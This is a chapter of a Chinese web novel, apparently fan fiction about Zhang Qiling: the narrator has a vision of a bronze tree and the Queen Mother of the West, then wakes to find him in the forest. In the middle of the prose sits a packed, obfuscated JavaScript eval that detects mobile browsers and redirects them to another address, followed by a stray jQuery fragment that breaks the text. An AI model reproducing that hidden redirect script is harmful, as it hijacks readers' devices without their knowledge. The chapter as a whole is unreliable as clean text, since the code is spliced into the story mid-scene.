张起灵是那么的冷淡,眼中没有一丝的情感,就这样直直闯入了我的眼中。
我以为我已经忘记了他的样子,但在这个幻觉中,他的眉眼,声音,都是那么真实,一如往昔。
我笑了,心里顿时腾起疯狂。
如果在幻觉里,是不是能杀死他一千次一万次?
他的眼眸暗黑,甚至没有映出我的样子。
我向他迈近了一步,几不可查地看到他的脸上动了一动,那表情我自然而然就读懂了,他觉得麻烦。
nn的,在幻觉里还能见到你这张倒霉的脸,老娘还觉得麻烦呢!
可是下一刻,我的身体却动弹不得了,此时张起灵也伸手过来,目标是我的脖子。
他要弄晕我!
我想往侧面躲,身体却不听使唤,只卖力地往后仰倒,居然一挣,魂魄离开了身体,飞到了半空中。
我俯视着地面,看到张起灵的手已经摸上了我身体的脖颈,他突然抬头看向我的方向。
他能通灵?
我来不及疑惑,双眼一黑,失去了意识。
古老的吟唱,破碎的信息,大量的画面涌入脑海。
我看到一群人,或者是神?他们合力锻造了一棵从地底深处生长出来的青铜树。
我看到了那棵树,觉得圆圆说的还是保守了。
我听说过世界上最大的树,叫雪曼将军树,在大洋彼岸,生长了三千多年,最高有八十米,光底部就有十来米。
但站在这棵树的底部往侧面看,两边都融入了黑暗,仰头望去,根本望不到头,就连天空,也变成了不真实的一个微小光点。
最后黑暗吞没了一切。
但我看到了,进入这里的山林后,山脉中那种消失的流动光晕再度出现,沿着巨大青铜树的树根,向上攀升,仿佛来自于地心深处,只是那些看似柔和的力量中,掺杂着不祥的黑色颗粒。
被裹挟着,我看到了这棵树重见天光,一点点被山中的部族挖开。部族中人对着青铜树跪拜,上通神灵,一次次献上牲畜和奴隶的血,鲜血顺着青铜树的凹槽一路向下,换来青铜树中古老的力量,凝聚出无数真实的存在。
有物品,也有,人。
那些存在,在我的眼中和真正人类的区别分外明晰,但部族的人看不出区别,认为是神迹,和他们结合,生下更多带有远古痕迹的后代。
部落生活逐渐变得优渥,青铜树中黑色的颗粒也越来越浓厚。
直到有一天,青铜树自身渗出了鲜红的液体,预示着不祥。
一具裹挟着大量黑色颗粒的血尸来到了青铜树处,将一个雕刻着龙纹的石头盒子放在了献祭台中。
血尸消散了,黑色颗粒进入了青铜树内,地面剧烈震颤,仿佛世界也在震颤。青铜树渗出的血却越来越多,染红了地面。部族的人开始互相攻击,血流成河,他们不断献祭,青铜树再不回应。
直到一个人身蛇尾的女人来到了这里。那个女人也很像是那种被青铜树造出来的人。但她身上有着和青铜树一样纯粹的力量,她先是用青铜树的枝根系炼出了一个比手掌还要大的铃铛,随后选择了一批人类,将自己的力量全部交给了青铜树和那些人。他们的血液中,开始流淌那种和山脉中一般无二的力量,泛着七彩的流光。
青铜树中的力量不再流动,仿佛凝固一般,只偶尔散发出一些来。
这些被选择的人不再互相攻讦,他们根据指引,用青铜树炼化出一批批的六角青铜铃铛,挂在青铜树上,六角象征着天地和四方,青铜树中的黑色的颗粒一点点地吸附在上面,无法离开。
人身蛇尾的女人又带着这些人学习了很多东西,那些人也都并不老去。
最后,我看到女人将一块眼熟的玉佩,放到了龙纹石盒上。
当女人的手离开玉佩,我的视角也急速转化了,我仿佛回到了跟在道士身边的时候,那时候,我的魂魄就依附在一块古玉佩上,道士说,这样能温养魂魄。
女人对着我低低絮语,但我听不见,也听不懂。
黑暗再度降临,长久的。
我感到一阵晕眩。这是我的梦?还是青铜树记录的讯息?
如果说是梦,我为什么还能有这样清晰的思考?我甚至已经串联起了青铜树和泉城壁画的故事。
西王母是神,她在守护的是青铜树里的那种我能看到的东西,那东西遍布山川,在龙脉之中更为浓郁和精纯,应该是神力,甚至是这个世界的本源之力。但是那种黑色的颗粒,就是小说中的反派,魔气。周穆王去求长生,可能也是一个骗局。西王母同样骗了身怀龙气的周穆王,让他变成了一具血尸。但没想到的是,周穆王被魔气侵染之深,让他找到了青铜树,献祭了自己,意图放出魔神,最后失败了。西王母改造了一批人,代她干活,封印魔气,许给了他们这些人长生。
西王母最后去哪了?那些人是最开始的张家吗?
在墓里留下壁画的是谁?他们是希望这件事被世间知晓,还是湮灭?
我是真的碰到了青铜树吗?还是从在林中听到铃声起,就已经陷入了幻觉?
如果说幻觉是一个人内心渴望的写照,我还会再次见到张起灵吗?
啊,张起灵。对了,我是要找他复仇的,除此之外,神啊魔的跟我有什么关系呢?
“原来在这里啊。”
嗯?是道士的声音。
我睁眼,果然是被道士拿了起来——哦,我还在玉佩上吗?真是个奇怪的幻觉啊。
“去你该去的地方吧。”
......
“醒了醒了,吴姐姐。”
“老板,老板!”
我背靠着树惊站起身,顾不上僵硬的脖颈,第一个反应是环顾四周。
见了鬼了。
是最开始男生出现异状的树林。
圆圆靠我最近,她一脸庆幸,说我走着走着,突然跑走了,他们根本追不上。还好有人把我救了回来,说差点我就掉下山崖了。
“救我?我们不是一起找到了厍国的祭祀台吗?”我惊疑不定。
秦教授正在一旁喝水,听到我的话笑了:“哈哈,吴小老板梦里还在为我们考虑呢。”
问了一圈,他们竟是都没有挖到过青铜树枝的记忆,难道真的,从一开始就是我的幻觉?
秦教授说,已经过了12点了,现在我也醒了,可以回头了。
我已经定了心神,得知我是从11点出的事,两个小时的时间都被浪费了,提出可以再走一阵——实际上是想去之前发现青铜树的地方看一眼。
但秦教授连连摆手,说救我的小伙子说了,前面都是山,还有瘴气,我就是中了瘴气才会魔怔的,他们现在的装备,去了也是白瞎,打算回去了。
“小伙子?”我刚刚已经看过周围,队伍里没有多出的人,难道有谁的存在感这么低的吗?又是怎么“救”的中了幻觉的我?
秦教授指了指一棵大树,示意我向上看,我抬头,一个黑人影跳了下来。
我眼睛瞪得溜圆。
是张起灵。
他穿着我在幻觉里的那套黑色的劲装,沾着泥水的靴子包裹着精瘦的腿部,衣服后的兜帽已经戴在了头上,帽子很大,几乎遮住了他的半张脸。刘海很长,半遮着他的眼睛。
他直直看着我,不带丝毫温度,仿佛我跟一棵树,一块石头,也没什么不同。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301192|198634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想neng死他。心里的声音雀跃着。
但,放出虫子,放,放不出来。
还真是,无心栽柳柳成荫。
我不知道说什么好,尽管已经刻意训练过,真的见到他,手还是下意识攥得死紧。现在不行,我在心里对自己说着,杀了太便宜(其实是杀不动),没有记忆的寻仇也不愉快。
可他先对着我伸出了手,我后退半步,却见他的手里拿着一块白玉。
“你的。”
是道士的玉佩!
也是西王母留下的那块!
那不是梦!
我劈手去接,他却抓着没有放。又拽了两下,他才松手。我来不及吐槽,玉佩入手的一瞬,眼前的景象变了。
那些看不到的力量再度回到了视野中,几乎布满了这里的树林,有黑色的颗粒混杂在里头。
更加骇人的是,我眼前的队伍中的人,身上都带着一种印记,那是被青铜树造出来的人才有的!他们不是真正的人吗?我不能确定,来这里的时候我是被屏蔽了感知的,也许他们本来就是树造人呢?在幻觉...或许不是幻觉中,那些树造人,和其他人一样生活,一样老死,他们到底算不算人呢?我回想着醒来后他们的一举一动,都和来的时候一样。
在这里唯一没有印记的,是张起灵,他身上浓郁的,满是西王母所赐的那种力量。
而我,我几乎要看不到我的身体了,仿佛整个人都是由光点构成的。
把玉佩收了起来,视野才恢复正常。我定定心神,想着还是先离开这里再说,刚被玉佩的奇异这么一打岔,好像也能像我爸他们希望的那样冷静一下了。
反正杀也杀不了,跑也跑不过……于是露出一个甜美的虚假微笑,装作矜持地和张起灵表达了谢意,收获冷脸一枚。
呵,男人。
示意队员看好张起灵,我走在队伍前面,抓紧时间赶路。
回到营地,营地居然被一群猴子捣毁了,我们只好收了还能用的东西,连夜赶路。
队伍里的人发觉我对张起灵的态度很奇怪,圆圆开玩笑说,我是不是对人家一见钟情了。
我看张起灵根本没有往这边看,想起我的复仇计划,大声说,是啊,小哥长得俊,谁不喜欢。
张起灵仍然没有反应。
......他以前是这么高冷的吗?
圆圆开始找他搭话,但是他始终没什么反应,这一幕就熟悉多了,他都是这么对给他唱歌的女孩子的。
好像,之前没有这么对过我。
我恍然,原来真的是,男人想干一件事的时候,是会主动的。所以他不主动,就是你不重要。
呵,男人。
圆圆很快败下阵来,我问她,知不知道这个人叫什么名字,圆圆说,他说他叫张起灵。
哦——这么快就把自己的真名告诉人家了。
呵,男人。
我在考虑要不要拼着反噬,下一只定位蛊虫到张起灵的身上。
但想着反噬的结果,还是算了,没必要为了之后一定会再次出现的狗男人,日日夜夜遭受反噬之苦。
把玩着玉佩,我想着,回去可以研究一下,有没有运用山脉中的这股力量的方法,和张起灵取得联系。
在快回到村落的时候,我们遇到了猴群的袭击。
混乱中,张起灵吸引了仇恨,带走了猴群。
我喘着气,一手攥着玉佩,一手抓着相机,和队伍里的人深一脚浅一脚地回到了村子。
月光下,我拿出胶卷,把玩了半晌,我把东西重新收到背包的夹层里。
等回去,就能把照片洗出来了。
久违了,张起灵。